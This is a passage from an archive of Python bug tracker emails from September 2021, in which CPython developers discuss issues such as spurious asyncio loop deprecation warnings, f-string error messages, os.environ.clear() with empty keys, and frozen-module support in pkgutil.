"/home/yen/var/local/Computer/archlinux/community/python-anyio/trunk/cpython-3.9.7-regression.py", line 18, in asyncio.run(main()) File "/usr/lib/python3.9/asyncio/runners.py", line 47, in run _cancel_all_tasks(loop) File "/usr/lib/python3.9/asyncio/runners.py", line 64, in _cancel_all_tasks tasks.gather(*to_cancel, loop=loop, return_exceptions=True)) File "/usr/lib/python3.9/asyncio/tasks.py", line 755, in gather warnings.warn("The loop argument is deprecated since Python 3.8, " DeprecationWarning: The loop argument is deprecated since Python 3.8, and scheduled for removal in Python 3.10. As indicated by the traceback, the loop argument is used inside the asyncio library, not from user code. It has been an issue for some time, and the issue is exposed after changes for issue44815. Credit: this example code is modified from an anyio test https://github.com/agronholm/anyio/blob/3.3.0/tests/test_taskgroups.py#L943. I noticed this issue when I was testing anyio against 3.9.7. ---------- components: asyncio messages: 401032 nosy: asvetlov, yan12125, yselivanov priority: normal severity: normal status: open title: "The loop argument is deprecated" reported when user code does not use it type: behavior versions: Python 3.9 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Sep 3 22:42:34 2021 From: report at bugs.python.org (Chih-Hsuan Yen) Date: Sat, 04 Sep 2021 02:42:34 +0000 Subject: [issue44815] asyncio.gather no DeprecationWarning if task are passed In-Reply-To: <1627928997.24.0.837145443801.issue44815@roundup.psfhosted.org> Message-ID: <1630723354.55.0.67088667108.issue44815@roundup.psfhosted.org> Chih-Hsuan Yen added the comment: A regression in 3.9.7 (issue45097) seems related to this issue. Could you have a look? ---------- nosy: +yan12125 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Sep 3 22:58:34 2021 From: report at bugs.python.org (Eric V. Smith) Date: Sat, 04 Sep 2021 02:58:34 +0000 Subject: [issue45086] f-string unmatched ']' In-Reply-To: <1630594520.19.0.424009972084.issue45086@roundup.psfhosted.org> Message-ID: <1630724314.48.0.216893353784.issue45086@roundup.psfhosted.org> Eric V. Smith added the comment: I don't think it really makes a difference, but here's some background: For f-strings, the parser itself does not break apart the f-string into (, ) parts. There's a custom parser (at https://github.com/python/cpython/blob/0b58e863df9970b290a4de90c67f9ac30c443817/Parser/string_parser.c#L837) which does that. Then the normal parser is used to parse the expression portion. I think the error shown here is not in the expression parser, but in the fstring parser in fstring_find_expr(), at https://github.com/python/cpython/blob/0b58e863df9970b290a4de90c67f9ac30c443817/Parser/string_parser.c#L665 As Terry says, it's not incorrect to print the error show in this bug report. To further diverge: There's been talk about using the normal parser to pull apart the entire f-string, instead of using the two-pass version I mention above. But we've never gotten past just talking about it. There are pros and cons for doing it with the normal parser, but that's a discussion for a different forum. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Sep 4 00:12:12 2021 From: report at bugs.python.org (Andrei Kulakov) Date: Sat, 04 Sep 2021 04:12:12 +0000 Subject: [issue41010] email.message.EmailMessage.get_body In-Reply-To: <1592410013.12.0.0160903099449.issue41010@roundup.psfhosted.org> Message-ID: <1630728732.0.0.103972105043.issue41010@roundup.psfhosted.org> Change by Andrei Kulakov : ---------- nosy: +kj resolution: -> fixed stage: -> resolved status: open -> closed type: crash -> behavior versions: +Python 3.11 -Python 3.8 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Sep 4 01:24:13 2021 From: report at bugs.python.org (Steven D'Aprano) Date: Sat, 04 Sep 2021 05:24:13 +0000 Subject: [issue45093] Add method to compare dicts accounting for order In-Reply-To: <1630695420.71.0.301173157149.issue45093@roundup.psfhosted.org> Message-ID: <20210904052221.GA26999@ando.pearwood.info> Steven D'Aprano added the comment: > Another case is in round trip processing of JSON or YML. Sorry for my ignorance, but I don't see how or why an unordered comparison would help you with round-tripping JSON or YAML. The order of key:value pairs in JSON is not guaranteed to be preserved, so if you round-trip a dict to JSON back to a dict, and then use an ordered comparison, you might wrongly think that they are unequal. (I think that Python's JSON does preserve order, by default. But other JSON encoders might not.) > Other cases are where you would prefer an OrderedDict over a dict. Then use an OrderedDict. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Sep 4 01:31:22 2021 From: report at bugs.python.org (Michael Rans) Date: Sat, 04 Sep 2021 05:31:22 +0000 Subject: [issue45093] Add method to compare dicts accounting for order In-Reply-To: <1630642392.86.0.263268758429.issue45093@roundup.psfhosted.org> Message-ID: <1630733482.99.0.634475431713.issue45093@roundup.psfhosted.org> Michael Rans added the comment: Thanks for all your help and advice. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Sep 4 02:55:47 2021 From: report at bugs.python.org (Serhiy Storchaka) Date: Sat, 04 Sep 2021 06:55:47 +0000 Subject: [issue20658] os.environ.clear() fails with empty keys (posix.unsetenv) In-Reply-To: <1392642368.27.0.300660634921.issue20658@psf.upfronthosting.co.za> Message-ID: <1630738547.94.0.996794948373.issue20658@roundup.psfhosted.org> Serhiy Storchaka added the comment: > For the very specific case of os.environ.clear(), the C function clearenv() could be used if available. It is bad in any way. The supposed example of using clear(): old_environ = dict(os.environ) os.environ.clear() os.environ.update(new_environ) ... os.environ.clear() os.environ.update(old_environ) Even if clear() passed, it will fail on attempt to restore the old environment, with the empty key. You can have the same issue in a corresponding C code. I think the only way is to report this as a bug in glibc and wait on their reaction. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Sep 4 03:08:21 2021 From: report at bugs.python.org (Serhiy Storchaka) Date: Sat, 04 Sep 2021 07:08:21 +0000 Subject: [issue45053] MD5SumTests.test_checksum_fodder fails on Windows In-Reply-To: <1630347779.05.0.821089086925.issue45053@roundup.psfhosted.org> Message-ID: <1630739301.71.0.322188774126.issue45053@roundup.psfhosted.org> Serhiy Storchaka added the comment: It will not work in all cases. For example if the stdio encoding is UTF-8 and the filesystem encoding is Latin1. Or the stdio encoding is CP1251 and the filesystem encoding is UTF-8. I am not also sure that it gives us the result which we want if it doesn't fail. It is a general and complex issue, and every program which writes file names to stdout is affected. For now I suggest just use TESTFN_ASCII instead of TESTFN. We will find better solution in future. I hesitate about merging PR 28060 because it can fail also on some non-Windows buildbots with uncommon locale settings. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Sep 4 03:36:00 2021 From: report at bugs.python.org (Serhiy Storchaka) Date: Sat, 04 Sep 2021 07:36:00 +0000 Subject: [issue45097] "The loop argument is deprecated" reported when user code does not use it In-Reply-To: <1630723286.0.0.706652277145.issue45097@roundup.psfhosted.org> Message-ID: <1630740960.31.0.0642406723423.issue45097@roundup.psfhosted.org> Change by Serhiy Storchaka : ---------- nosy: +serhiy.storchaka _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Sep 4 04:11:21 2021 From: report at bugs.python.org (Christodoulos Tsoulloftas) Date: Sat, 04 Sep 2021 08:11:21 +0000 Subject: [issue44649] dataclasses slots with init=False field raises AttributeException In-Reply-To: <1626375963.06.0.364448585924.issue44649@roundup.psfhosted.org> Message-ID: <1630743081.29.0.0376512215173.issue44649@roundup.psfhosted.org> Christodoulos Tsoulloftas added the comment: Thanks for the update eric, yeah the new error messages are much more comprehensive and I am glad to hear the original issue will be addressed as well. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Sep 4 04:29:58 2021 From: report at bugs.python.org (Batuhan Taskaya) Date: Sat, 04 Sep 2021 08:29:58 +0000 Subject: [issue43950] Include column offsets for bytecode instructions In-Reply-To: <1619521118.33.0.233805842394.issue43950@roundup.psfhosted.org> Message-ID: <1630744198.27.0.717669941163.issue43950@roundup.psfhosted.org> Change by Batuhan Taskaya : ---------- pull_requests: +26588 pull_request: https://github.com/python/cpython/pull/28150 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Sep 4 05:18:28 2021 From: report at bugs.python.org (Serhiy Storchaka) Date: Sat, 04 Sep 2021 09:18:28 +0000 Subject: [issue45097] "The loop argument is deprecated" reported when user code does not use it In-Reply-To: <1630723286.0.0.706652277145.issue45097@roundup.psfhosted.org> Message-ID: <1630747108.6.0.0756421640854.issue45097@roundup.psfhosted.org> Change by Serhiy Storchaka : ---------- assignee: -> serhiy.storchaka _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Sep 4 05:19:42 2021 From: report at bugs.python.org (Marc-Andre Lemburg) Date: Sat, 04 Sep 2021 09:19:42 +0000 Subject: [issue45020] Freeze all modules imported during startup. In-Reply-To: <1630717705.59.0.552743885416.issue45020@roundup.psfhosted.org> Message-ID: <226d97ff-889a-9575-7e8e-42ab3ee19af3@egenix.com> Marc-Andre Lemburg added the comment: FWIW, I've not found the importer for frozen modules to be lacking features. When using frozen modules, you don't expect to see source code, so the whole part about finding source code is not really relevant for that use case. The only lacking part I found regarding frozen modules is support for these in pkgutil.py. But that's easy to add: --- /home/lemburg/egenix/projects/PyRun/Python-3.8.0/Lib/pkgutil.py 2019-10-14 1> +++ ./Lib/pkgutil.py 2019-11-17 11:36:38.404752218 +0100 @@ -315,20 +315,27 @@ return self.etc[2]==imp.PKG_DIRECTORY def get_code(self, fullname=None): + # eGenix PyRun needs pkgutil to also work for frozen modules, + # since pkgutil is used by the runpy module, which is needed + # to implement the -m command line switch. + if self.code is not None: + return self.code fullname = self._fix_name(fullname) - if self.code is None: - mod_type = self.etc[2] - if mod_type==imp.PY_SOURCE: - source = self.get_source(fullname) - self.code = compile(source, self.filename, 'exec') - elif mod_type==imp.PY_COMPILED: - self._reopen() - try: - self.code = read_code(self.file) - finally: - self.file.close() - elif mod_type==imp.PKG_DIRECTORY: - self.code = self._get_delegate().get_code() + mod_type = self.etc[2] + if mod_type == imp.PY_FROZEN: + self.code = imp.get_frozen_object(fullname) + return self.code + elif mod_type==imp.PY_SOURCE: + source = self.get_source(fullname) + self.code = compile(source, self.filename, 'exec') + elif mod_type==imp.PY_COMPILED: + self._reopen() + try: + self.code = read_code(self.file) + finally: + self.file.close() + elif mod_type==imp.PKG_DIRECTORY: + self.code = self._get_delegate().get_code() return self.code def get_source(self, fullname=None): ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Sep 4 07:19:31 2021 From: report at bugs.python.org (STINNER Victor) Date: Sat, 04 Sep 2021 11:19:31 +0000 Subject: [issue20658] os.environ.clear() fails with empty keys (posix.unsetenv) In-Reply-To: <1392642368.27.0.300660634921.issue20658@psf.upfronthosting.co.za> Message-ID: <1630754371.06.0.550484720021.issue20658@roundup.psfhosted.org> STINNER Victor added the comment: POSIX says: (1) "The setenv() function shall fail if: [EINVAL] The name argument is a null pointer, points to an empty string, or points to a string containing an '=' character." https://pubs.opengroup.org/onlinepubs/009604499/functions/setenv.html (2) "The unsetenv() function shall fail if: [EINVAL] The name argument is a null pointer, points to an empty string, or points to a string containing an '=' character." https://pubs.opengroup.org/onlinepubs/009695399/functions/unsetenv.html But POSIX doesn't specify which keys are invalid for putenv. It only specifies a single error: (3) "The putenv() function may fail if: [ENOMEM] Insufficient memory was available." https://pubs.opengroup.org/onlinepubs/009696899/functions/putenv.html The GNU libc respects POSIX. IMO setenv() and unsetenv() are fine. The problem comes from putenv() which is under specified and allows keys which are causing a lot of subtle issues, not only in Python. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Sep 4 08:19:01 2021 From: report at bugs.python.org (Dong-hee Na) Date: Sat, 04 Sep 2021 12:19:01 +0000 Subject: [issue45034] Improve struct.pack out of range error messages In-Reply-To: <1630112525.53.0.10403701832.issue45034@roundup.psfhosted.org> Message-ID: <1630757941.56.0.828356681983.issue45034@roundup.psfhosted.org> Change by Dong-hee Na : ---------- nosy: +corona10 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Sep 4 08:29:38 2021 From: report at bugs.python.org (Pablo Galindo Salgado) Date: Sat, 04 Sep 2021 12:29:38 +0000 Subject: [issue45086] f-string unmatched ']' In-Reply-To: <1630594520.19.0.424009972084.issue45086@roundup.psfhosted.org> Message-ID: <1630758578.87.0.874885063636.issue45086@roundup.psfhosted.org> Pablo Galindo Salgado added the comment: > But we've never gotten past just talking about it Stay tuned! :) https://github.com/we-like-parsers/cpython/tree/fstring-grammar ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Sep 4 08:53:30 2021 From: report at bugs.python.org (Nikita Sobolev) Date: Sat, 04 Sep 2021 12:53:30 +0000 Subject: [issue45034] Improve struct.pack out of range error messages In-Reply-To: <1630112525.53.0.10403701832.issue45034@roundup.psfhosted.org> Message-ID: <1630760010.66.0.507473277592.issue45034@roundup.psfhosted.org> Nikita Sobolev added the comment: I would like to work on this if nobody else has already started :) ---------- nosy: +sobolevn _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Sep 4 09:04:47 2021 From: report at bugs.python.org (Serhiy Storchaka) Date: Sat, 04 Sep 2021 13:04:47 +0000 Subject: [issue45097] "The loop argument is deprecated" reported when user code does not use it In-Reply-To: <1630723286.0.0.706652277145.issue45097@roundup.psfhosted.org> Message-ID: <1630760687.79.0.701281132209.issue45097@roundup.psfhosted.org> Change by Serhiy Storchaka : ---------- keywords: +patch pull_requests: +26589 stage: -> patch review pull_request: https://github.com/python/cpython/pull/28153 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Sep 4 09:09:27 2021 From: report at bugs.python.org (Serhiy Storchaka) Date: Sat, 04 Sep 2021 13:09:27 +0000 Subject: [issue45097] "The loop argument is deprecated" reported when user code does not use it In-Reply-To: <1630723286.0.0.706652277145.issue45097@roundup.psfhosted.org> Message-ID: <1630760967.98.0.678162967952.issue45097@roundup.psfhosted.org> Serhiy Storchaka added the comment: There are several calls of gather() and sleep() with the loop argument from the asyncio library. Since all deprecation warnings were silenced in tests it was unnoticed. PR 28153 fixes the asyncio library, enables deprecation warnings in tests, fixes tests producing warnings and add several new tests for uncovered code. New tests will be ported to master later. ---------- nosy: +lukasz.langa priority: normal -> release blocker _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Sep 4 09:17:43 2021 From: report at bugs.python.org (Sam Bull) Date: Sat, 04 Sep 2021 13:17:43 +0000 Subject: [issue45098] asyncio.CancelledError should contain more information on cancellations Message-ID: <1630761463.35.0.712522138496.issue45098@roundup.psfhosted.org> New submission from Sam Bull : There are awkward edge cases caused by race conditions when cancelling tasks which make it impossible to reliably cancel a task. For example, in the async-timeout library there appears to be no way to avoid suppressing an explicit t.cancel() if that cancellation occurs immediately after the timeout. In the alternative case where a cancellation happens immediately before the timeout, the solutions feel dependant on the internal details of how asynico.Task works and could easily break if the behaviour is tweaked in some way. What we really need to know is how many times a task was cancelled as a cause of the CancelledError and ideally were the cancellations caused by us. The solution I'd like to propose is that the args on the exception contain all the messages of every cancel() call leading up to that exception, rather than just the first one. e.g. In these race conditions e.args would look like (None, SENTINEL), where SENTINEL was sent in our own cancellations. From this we can see that the task was cancelled twice and only one was caused by us, therefore we don't want to suppress the CancelledError. For more details to fully understand the problem: https://github.com/aio-libs/async-timeout/pull/230 https://github.com/aio-libs/async-timeout/issues/229#issuecomment-908502523 https://github.com/aio-libs/async-timeout/pull/237 ---------- components: asyncio messages: 401045 nosy: asvetlov, dreamsorcerer, yselivanov priority: normal severity: normal status: open title: asyncio.CancelledError should contain more information on cancellations type: behavior versions: Python 3.10, Python 3.11, Python 3.9 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Sep 4 09:24:26 2021 From: report at bugs.python.org (Serhiy Storchaka) Date: Sat, 04 Sep 2021 13:24:26 +0000 Subject: [issue45097] "The loop argument is deprecated" reported when user code does not use it In-Reply-To: <1630723286.0.0.706652277145.issue45097@roundup.psfhosted.org> Message-ID: <1630761866.56.0.827455548196.issue45097@roundup.psfhosted.org> Change by Serhiy Storchaka : ---------- pull_requests: +26590 pull_request: https://github.com/python/cpython/pull/28154 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Sep 4 10:20:01 2021 From: report at bugs.python.org (Brandt Bucher) Date: Sat, 04 Sep 2021 14:20:01 +0000 Subject: [issue37596] Reproducible pyc: frozenset is not serialized in a deterministic order In-Reply-To: <1563203111.95.0.786255267379.issue37596@roundup.psfhosted.org> Message-ID: <1630765201.34.0.523398841522.issue37596@roundup.psfhosted.org> Change by Brandt Bucher : ---------- stage: patch review -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Sep 4 12:38:49 2021 From: report at bugs.python.org (Terry J. Reedy) Date: Sat, 04 Sep 2021 16:38:49 +0000 Subject: [issue45086] f-string unmatched ']' In-Reply-To: <1630594520.19.0.424009972084.issue45086@roundup.psfhosted.org> Message-ID: <1630773529.62.0.448401754019.issue45086@roundup.psfhosted.org> Terry J. Reedy added the comment: Thank you Eric. I can see now that the actual process is a somewhat complicated mix of the simple options 1 and 2 I imagined above. It is like option 2, except that everything between '{' and '}' is partially parsed enough to create a format object. This is required to ignore quoted braces >>> f'{"}"' SyntaxError: f-string: expecting '}' and detect valid '!' and ':' markers. In that partial parsing, unmatched fences are detected and reported, while other syntax errors are not. If my option 1 above were true, the first example below would instead report the 'a a' error. >>> f'{a a' SyntaxError: f-string: expecting '}' >>> f'{a a]' SyntaxError: f-string: unmatched ']' >>> f'{a a}' SyntaxError: f-string: invalid syntax. Perhaps you forgot a comma? The second plausibly could, but outside of the f-string context, the error is the same. >>> a a] SyntaxError: unmatched ']' Greg, the fuller answer to your question is that the interpreter is only *required* to report that there is an error and some indication of where. "SyntaxError: invalid syntax" is the default. It may have once been all that was ever reported. A lot of recent effort has gone into adding detail into what is wrong and what the fix might be. But both additions sometimes involve choices that may not meet a particular person's expectation. Another person, expecting linear rather than nested parsing, might look at the first example above and ask whether the interpreter should be complaining about the 'a a' syntax error instead of the following lack of '}' f-string error. And I would not call it a bug if it were to do so in the future. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Sep 4 13:04:04 2021 From: report at bugs.python.org (jack1142) Date: Sat, 04 Sep 2021 17:04:04 +0000 Subject: [issue45099] asyncio.Task's documentation says that loop arg is removed when it's not In-Reply-To: <1630775028.47.0.984741146051.issue45099@roundup.psfhosted.org> Message-ID: <1630775044.58.0.722724941311.issue45099@roundup.psfhosted.org> Change by jack1142 : ---------- components: +asyncio nosy: +asvetlov, yselivanov _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Sep 4 13:03:48 2021 From: report at bugs.python.org (jack1142) Date: Sat, 04 Sep 2021 17:03:48 +0000 Subject: [issue45099] asyncio.Task's documentation says that loop arg is removed when it's not Message-ID: <1630775028.47.0.984741146051.issue45099@roundup.psfhosted.org> New submission from jack1142 : The documentation here: https://docs.python.org/3.10/library/asyncio-task.html#asyncio.Task Says that `loop` parameter was removed but it's still part of the signature. It gets even more confusing when the deprecation right below it is saying that *not* passing it when there is no running event loop is deprecated :) I could make a PR removing this information but I'm not sure whether there should be also some information put about it being deprecated in 3.8 but not actually getting removed in 3.10? ---------- assignee: docs at python components: Documentation messages: 401047 nosy: docs at python, jack1142 priority: normal severity: normal status: open title: asyncio.Task's documentation says that loop arg is removed when it's not type: behavior versions: Python 3.10 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Sep 4 13:35:20 2021 From: report at bugs.python.org (Greg Kuhn) Date: Sat, 04 Sep 2021 17:35:20 +0000 Subject: [issue45086] f-string unmatched ']' In-Reply-To: <1630594520.19.0.424009972084.issue45086@roundup.psfhosted.org> Message-ID: <1630776920.55.0.6645959015.issue45086@roundup.psfhosted.org> Greg Kuhn added the comment: I see, thank you all for the detailed investigation and explanation!! Agreed Terry, anyone who reads the error should be able to parse it themselves and see what the errors is. Pointing the user to the error site is the most important piece. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Sep 4 13:54:54 2021 From: report at bugs.python.org (Serhiy Storchaka) Date: Sat, 04 Sep 2021 17:54:54 +0000 Subject: [issue45097] "The loop argument is deprecated" reported when user code does not use it In-Reply-To: <1630723286.0.0.706652277145.issue45097@roundup.psfhosted.org> Message-ID: <1630778094.44.0.417434451384.issue45097@roundup.psfhosted.org> Serhiy Storchaka added the comment: New changeset c967bd523caabb05bf5988449487d7c1717f3ac6 by Serhiy Storchaka in branch '3.9': [3.9] bpo-45097: Remove incorrect deprecation warnings in asyncio. (GH-28153) https://github.com/python/cpython/commit/c967bd523caabb05bf5988449487d7c1717f3ac6 ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Sep 4 13:55:23 2021 From: report at bugs.python.org (Serhiy Storchaka) Date: Sat, 04 Sep 2021 17:55:23 +0000 Subject: [issue45097] "The loop argument is deprecated" reported when user code does not use it In-Reply-To: <1630723286.0.0.706652277145.issue45097@roundup.psfhosted.org> Message-ID: <1630778123.91.0.931957781297.issue45097@roundup.psfhosted.org> Serhiy Storchaka added the comment: New changeset c2970fdec52788b6d9ff419ab7e31f255d87433d by Serhiy Storchaka in branch 'main': bpo-45097: Add more tests for shutdown_asyncgens() (GH-28154) https://github.com/python/cpython/commit/c2970fdec52788b6d9ff419ab7e31f255d87433d ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Sep 4 13:55:53 2021 From: report at bugs.python.org (miss-islington) Date: Sat, 04 Sep 2021 17:55:53 +0000 Subject: [issue45097] "The loop argument is deprecated" reported when user code does not use it In-Reply-To: <1630723286.0.0.706652277145.issue45097@roundup.psfhosted.org> Message-ID: <1630778153.13.0.707502300073.issue45097@roundup.psfhosted.org> Change by miss-islington : ---------- nosy: +miss-islington nosy_count: 5.0 -> 6.0 pull_requests: +26591 pull_request: https://github.com/python/cpython/pull/28159 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Sep 4 14:02:33 2021 From: report at bugs.python.org (Serhiy Storchaka) Date: Sat, 04 Sep 2021 18:02:33 +0000 Subject: [issue45030] Integer overflow in __reduce__ of the range iterator In-Reply-To: <1630075627.02.0.307201647792.issue45030@roundup.psfhosted.org> Message-ID: <1630778553.48.0.168024201061.issue45030@roundup.psfhosted.org> Serhiy Storchaka added the comment: New changeset 936f6a16b9ef85bd56b18a247b962801e954c30e by Serhiy Storchaka in branch 'main': bpo-45030: Fix integer overflow in __reduce__ of the range iterator (GH-28000) https://github.com/python/cpython/commit/936f6a16b9ef85bd56b18a247b962801e954c30e ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Sep 4 14:02:28 2021 From: report at bugs.python.org (miss-islington) Date: Sat, 04 Sep 2021 18:02:28 +0000 Subject: [issue45030] Integer overflow in __reduce__ of the range iterator In-Reply-To: <1630075627.02.0.307201647792.issue45030@roundup.psfhosted.org> Message-ID: <1630778548.9.0.642663050092.issue45030@roundup.psfhosted.org> Change by miss-islington : ---------- nosy: +miss-islington nosy_count: 2.0 -> 3.0 pull_requests: +26592 pull_request: https://github.com/python/cpython/pull/28160 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Sep 4 14:02:33 2021 From: report at bugs.python.org (miss-islington) Date: Sat, 04 Sep 2021 18:02:33 +0000 Subject: [issue45030] Integer overflow in __reduce__ of the range iterator In-Reply-To: <1630075627.02.0.307201647792.issue45030@roundup.psfhosted.org> Message-ID: <1630778553.05.0.982244783525.issue45030@roundup.psfhosted.org> Change by miss-islington : ---------- pull_requests: +26593 pull_request: https://github.com/python/cpython/pull/28161 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Sep 4 14:03:28 2021 From: report at bugs.python.org (Raymond Hettinger) Date: Sat, 04 Sep 2021 18:03:28 +0000 Subject: [issue45100] Teach help about typing.overload() Message-ID: <1630778608.65.0.813637953031.issue45100@roundup.psfhosted.org> New submission from Raymond Hettinger : Python's help() function does not display overloaded function signatures. For example, this code: from typing import Union class Smudge(str): @overload def __getitem__(self, index: int) -> str: ... @overload def __getitem__(self, index: slice) -> 'Smudge': ... def __getitem__(self, index: Union[int, slice]) -> Union[str, 'Smudge']: 'Return a smudged character or characters.' if isinstance(index, slice): start, stop, step = index.indices(len(self)) values = [self[i] for i in range(start, stop, step)] return Smudge(''.join(values)) c = super().__getitem__(index) return chr(ord(c) ^ 1) Currently gives this help: __getitem__(self, index: Union[int, slice]) -> Union[str, ForwardRef('Smudge')] Return a smudged character or characters. What is desired is: __getitem__(self, index: int) -> str __getitem__(self, index: slice) -> ForwardRef('Smudge') Return a smudged character or characters. The overload() decorator is sufficient for informing a static type checker but insufficient for informing a user or editing tool. ---------- messages: 401052 nosy: rhettinger priority: normal severity: normal status: open title: Teach help about typing.overload() _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Sep 4 14:26:46 2021 From: report at bugs.python.org (Terry J. Reedy) Date: Sat, 04 Sep 2021 18:26:46 +0000 Subject: [issue45034] Improve struct.pack out of range error messages In-Reply-To: <1630112525.53.0.10403701832.issue45034@roundup.psfhosted.org> Message-ID: <1630780006.33.0.555785943344.issue45034@roundup.psfhosted.org> Terry J. Reedy added the comment: Go ahead, with the understanding that there is no guaranteed acceptance of the change, even with a good patch. There may be reasons for the status quo that neither Steven nor I are aware of. I don't think that either of the listed experts, added as nosy, are very active. In any case, revised or new tests will be needed. ---------- nosy: +mark.dickinson, meador.inge _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Sep 4 14:30:08 2021 From: report at bugs.python.org (Irit Katriel) Date: Sat, 04 Sep 2021 18:30:08 +0000 Subject: [issue16731] [doc] xxlimited/xxmodule docstrings ambiguous In-Reply-To: <1355946646.69.0.259699636535.issue16731@psf.upfronthosting.co.za> Message-ID: <1630780208.82.0.418604225953.issue16731@roundup.psfhosted.org> Change by Irit Katriel : ---------- title: xxlimited/xxmodule docstrings ambiguous -> [doc] xxlimited/xxmodule docstrings ambiguous versions: +Python 3.11 -Python 3.5, Python 3.6 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Sep 4 14:32:12 2021 From: report at bugs.python.org (Kien Dang) Date: Sat, 04 Sep 2021 18:32:12 +0000 Subject: [issue45101] Small inconsistency in usage message between the python and shell script versions of python-config Message-ID: <1630780332.11.0.126671398839.issue45101@roundup.psfhosted.org> New submission from Kien Dang : `python-config` outputs a usage instruction message in case either the `--help` option or invalid arguments are provided. However there is a small different in the output I/O between the python and shell script versions of `python-config`. In the python version, the message always prints to `stderr`. https://github.com/python/cpython/blob/bc1c49fa94b2abf70e6937373bf1e6b5378035c5/Misc/python-config.in#L15-L18 def exit_with_usage(code=1): print("Usage: {0} [{1}]".format( sys.argv[0], '|'.join('--'+opt for opt in valid_opts)), file=sys.stderr) sys.exit(code) while in the shell script version it always prints to `stdout`. https://github.com/python/cpython/blob/bc1c49fa94b2abf70e6937373bf1e6b5378035c5/Misc/python-config.sh.in#L5-L9 exit_with_usage () { echo "Usage: $0 --prefix|--exec-prefix|--includes|--libs|--cflags|--ldflags|--extension-suffix|--help|--abiflags|--configdir|--embed" exit $1 } This inconsistency does not affect most users of `python-config`, who runs the script interactively. However it might cause issues when run programmatically. ---------- components: Demos and Tools messages: 401054 nosy: kiendang priority: normal severity: normal status: open title: Small inconsistency in usage message between the python and shell script versions of python-config type: behavior versions: Python 3.10, Python 3.11, Python 3.9 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Sep 4 14:37:30 2021 From: report at bugs.python.org (Irit Katriel) Date: Sat, 04 Sep 2021 18:37:30 +0000 Subject: [issue24612] not operator expression raising a syntax error In-Reply-To: <1436628233.38.0.197597566636.issue24612@psf.upfronthosting.co.za> Message-ID: <1630780650.07.0.319591602488.issue24612@roundup.psfhosted.org> Irit Katriel added the comment: Reproduced on 3.11: >>> 0 + not 0 File "", line 1 0 + not 0 ^^^ SyntaxError: invalid syntax >>> - not 0 File "", line 1 - not 0 ^^^ SyntaxError: invalid syntax ---------- nosy: +iritkatriel, pablogsal versions: +Python 3.11 -Python 3.5, Python 3.6 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Sep 4 14:38:18 2021 From: report at bugs.python.org (Kien Dang) Date: Sat, 04 Sep 2021 18:38:18 +0000 Subject: [issue45101] Small inconsistency in usage message between the python and shell script versions of python-config In-Reply-To: <1630780332.11.0.126671398839.issue45101@roundup.psfhosted.org> Message-ID: <1630780698.72.0.866279703752.issue45101@roundup.psfhosted.org> Change by Kien Dang : ---------- keywords: +patch pull_requests: +26594 stage: -> patch review pull_request: https://github.com/python/cpython/pull/28162 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Sep 4 16:01:13 2021 From: report at bugs.python.org (Serhiy Storchaka) Date: Sat, 04 Sep 2021 20:01:13 +0000 Subject: [issue45102] unittest: add tests for skipping and errors in cleanup Message-ID: <1630785673.23.0.15068608045.issue45102@roundup.psfhosted.org> New submission from Serhiy Storchaka : The proposed PR adds tests for skipping and errors in cleanup: after success, after failure, and in combination with the expectedFailure decorator. ---------- components: Library (Lib) messages: 401056 nosy: ezio.melotti, michael.foord, rbcollins, serhiy.storchaka priority: normal severity: normal status: open title: unittest: add tests for skipping and errors in cleanup versions: Python 3.10, Python 3.11, Python 3.9 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Sep 4 16:03:06 2021 From: report at bugs.python.org (Serhiy Storchaka) Date: Sat, 04 Sep 2021 20:03:06 +0000 Subject: [issue45102] unittest: add tests for skipping and errors in cleanup In-Reply-To: <1630785673.23.0.15068608045.issue45102@roundup.psfhosted.org> Message-ID: <1630785786.57.0.124310009538.issue45102@roundup.psfhosted.org> Change by Serhiy Storchaka : ---------- keywords: +patch pull_requests: +26595 stage: -> patch review pull_request: https://github.com/python/cpython/pull/28166 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Sep 4 16:18:30 2021 From: report at bugs.python.org (Raymond Hettinger) Date: Sat, 04 Sep 2021 20:18:30 +0000 Subject: [issue44571] itertools: takedowhile() In-Reply-To: <1625524408.64.0.445781965255.issue44571@roundup.psfhosted.org> Message-ID: 